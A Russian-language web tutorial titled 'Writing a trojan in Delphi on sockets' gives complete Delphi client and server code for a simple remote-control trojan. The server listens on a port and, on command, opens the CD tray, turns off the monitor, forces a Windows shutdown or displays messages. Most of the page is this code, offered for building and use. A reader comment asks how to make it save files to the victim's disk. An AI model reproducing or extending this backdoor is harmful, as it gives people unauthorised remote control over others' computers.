|
|
 | |  |
| Главная » 2011 » Март » 19 » Пишем троян в delphi на сокетах
21:42 Пишем троян в delphi на сокетах |
И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" .
Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает.
CLIENT
Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo".
Для начала довайте компоненту clientsocket сменим имя на cs
Теперь измените свойство caption у ваших кнопок как показанно на скрине
теперь у формы в событии OnGreate пишим
code:
cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1
cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт
теперь у в обработчике собития OnClick кнопки "Коннект" пишем код
Цитата:var s:string;
begin
cs.Active:=true; //Коннектимся
if cs.Socket.Connected=true then begin //Если подключились то
memo1.lines.add('Соединение установленно...'); //пишим в memo
end else //в противном случае пишим это
memo1.lines.add('Соединение неустановленно...'); //<--вот это
теперь у кнопки "Дисконнект"
code:
cs.Close; //Закрываем сокет
memo1.lines.add('Соединение закрыто!'); //пишим в memo
теперь у кнопки "Открыть сидюк"
Цитата:cs.Socket.SendText('CDOPEN');//посылаем серверу комманду CDOPEN
теперь у кнопки "Закрыть сидюк"
Цитата:cs.Socket.SendText('CDCLOSE');//посылаем серверу комманду CDCLOSE
теперь у кнопки "Потушить монитор"
Цитата:cs.Socket.SendText('MONIKOFF');//посылаем серверу комманду MONIKOFF
теперь у кнопки "Ребутнуть удалённый"
Цитата:cs.Socket.SendText('FORCE');//посылаем серверу комманду FORCE
теперь у кнопки "Послать сообщение"
Цитата:cs.Socket.SendText('MSG'+edit2.text);//посылаем серверу комманду FORCE
Ну вот впринципе и всё, с клиентом поконченно, компилируем CTRL+f9!
SERVER
На форму кидаем serversocket с вкладки internet
У формы в событии OnGreate пишем
code:
serversocket1.port:=123;//Назначаем порт
serversocket1.active:=true//начинаем слушать порт
Теперь у компонента serversocket1 в событии cliendread пишем код
Цитата:var s:string; //обьявляем переменную в которой будут храниться данный которые пришли от клиента
begin
s:=socket.ReceiveText; //присвиваем переменной s текст который пришёл от клиента
if s='CDOPEN' then //если CDOPEN то открыть сидюк
mciSendString('Set cdaudio door open wait', nil, 0, handle);
if s='CDCLOSE' then //если CDCLOSE значит закрыть сидюк
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
if s='MONIKOFF' then //Если пришла комманда MONIKOFF значит вырубаем монитор
SendMessage(form1.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
if s='FORCE' then //Если пришла комманда FORCE то вырубаем комп
ExitWindowsEx(EWX_FORCE or ewx_force,0);
if copy(s,1,3)='MSG' then //копируем первые 3 символа, если они равняються коммане MSG значит вывести мессагу
Messagebox(0,pchar(copy(s,4,length(s))),'Message', 0);
Всё- сервер готов, теперь компилируете- запускаете сервер, клиент- коннектитесь и тестите!
|
|
Категория: Delphi |
Просмотров: 690 |
Добавил: SeM
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ] | |
 | |  |
|
 |
| Коменнтарии
 | |
Извиняюсь, заработал. Спасибо за урок 
Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?
Нифига не робит...
Кто знает как сделать чтобы на жесткий жертвы сохранял..
ISQ 606017777
|
 |
|
| Отзывы Фото
| |
6 микр. Красивое место....
Старый музей но щас его перенесли...
Фотография под горы 
Красивое фото!!!
|
|
|
